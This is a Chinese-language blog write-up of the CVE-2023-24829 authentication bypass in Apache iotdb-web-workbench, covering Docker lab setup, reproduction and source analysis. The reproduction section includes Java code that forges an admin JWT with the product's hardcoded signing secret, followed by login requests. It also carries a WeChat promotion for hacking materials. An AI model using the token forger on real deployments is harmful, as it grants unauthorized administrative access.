Apache iotdb-web-workbench 認證繞過漏洞(CVE-2023-24829)

漏洞簡介

  ​image

  影響版本 0.13.0 <= 漏洞版本 < 0.13.3

  漏洞主要來自於 iotdb-web-workbench​ IoTDB-Workbench是IoTDB的可視化管理工具,可對IoTDB的數據進行增刪改查、權限控制等,簡化IoTDB的使用及學習成本。iotdb-web-workbench​ 中存在不正確的身份驗證漏洞。

環境搭建

  我們發現在 Releases 中已經刪除到只剩最新版本,所以我們從 commits 中查找歷史提交記錄來搭建環境。

  ​image

  ​image

  下載下歷史版本的源碼,下載之後利用 docker 搭建環境。

  需要修改一下 docker-compose.yml​ 將其中掛載數據庫文件修改爲:

volumes:
      - ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db  

  直接在根目錄下執行 docker-compose up -d​ 雖然鏡像編譯成功,但是執行後一直啓動不成功,通過 docker logs​ 查看日誌信息。

  ​image

  發現後臺的 jar 包沒有編譯成功拷貝到容器內,所以先進入 backend​ 執行 mvn package​ 編譯 jar 。 默認情況下都是依賴於 aliyunmaven​ 但是很奇怪這次編譯時會提示無法從 aliyun​ 中下載文件,所以將 maven 的 settings.xml 配置文件關於 aliyun 的相關依賴註釋掉,就可以編譯成功。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

  編譯成功之後,再次執行發現了問題仍然存在,還是相同的錯誤類型。後來無論怎麼修改 backend 目錄下對應的 Dockerfile 文件,仍然無法成功。最後發現是因爲沒有修改根目錄中的 docker-compose.yml​,下載的仍然是有問題的鏡像,沒有去調用編譯本地的鏡像。

  ​image

  進到 backend​ 目錄下 修改 Dockerfile 文件 刪除掉 "${JAVA_MEM_OPTS}"

  執行 docker build -t test:v1 .​ 編譯鏡像。

  ​image

  編譯之後,將 docker-compose.yml​ 中的 apache/iotdb-web-workbench:0.13.0-backend​ 替換爲 test:v1

  再執行 docker-compose up -d

  ​image

  訪問 http://127.0.0.1:8081/#/login

  ​image

  環境如此就搭建好了,但是在實際中利用的話,還是建議不要使用 docker ,而是單獨編譯前端後端。

漏洞復現

  構造數據包請求保存用戶時

  ​image

  提示沒有登錄。

  創建一個 java 項目:

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
​
import java.util.Date;
​
public class iotdb_CreateToken {
​
    private static String secret =
            "HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew"
                    + "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9";
    public static String generateToken(String username) {
        Date now = new Date();
        //    Calendar instance = Calendar.getInstance();
        //    instance.add(Calendar.HOUR_OF_DAY, 24);
        Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10));
        return Jwts.builder()
                .setHeaderParam("type", "JWT")
                .setSubject(0 + "")
                .setIssuedAt(now) // 簽發時間
                .claim("userId", 1)
                .claim("name", username)
                .setExpiration(expireDate) // 過期時間
                .signWith(SignatureAlgorithm.HS512, secret)
                .compact();
    }
​
    public static void main(String[] args) {
        String token = generateToken("admin");
        System.out.println(token);
    }
}
​

  ​image

  將生成的 Token 加入到之前的數據包中。

  ​image

  創建用戶成功,嘗試登錄。

POST /api/login?name=test&password=123456 HTTP/1.1
Host: 127.0.0.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 4
​
{
}

  ​image

  登錄成功。

漏洞分析

  ​org.apache.iotdb.admin.filter.TokenFilter#preHandle

  ​image

  在 TokenFilter​ 中 JJwtTool.getClaimsByToken(authorization);​ 從請求頭中獲取 token 並解析匹配

  ​org.apache.iotdb.admin.controller.UserController#login

  ​image

  我們發現 token 的來源是因爲登錄成功後會根據用戶來生成 token JJwtTool.generateToken(user) ​

  ​org.apache.iotdb.admin.tool.JJwtTool#generateToken

  ​image

  生成 Token 的相關參數均是可控的,所以我們可以自己構造。

更多靶場實驗練習、網安學習資料,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章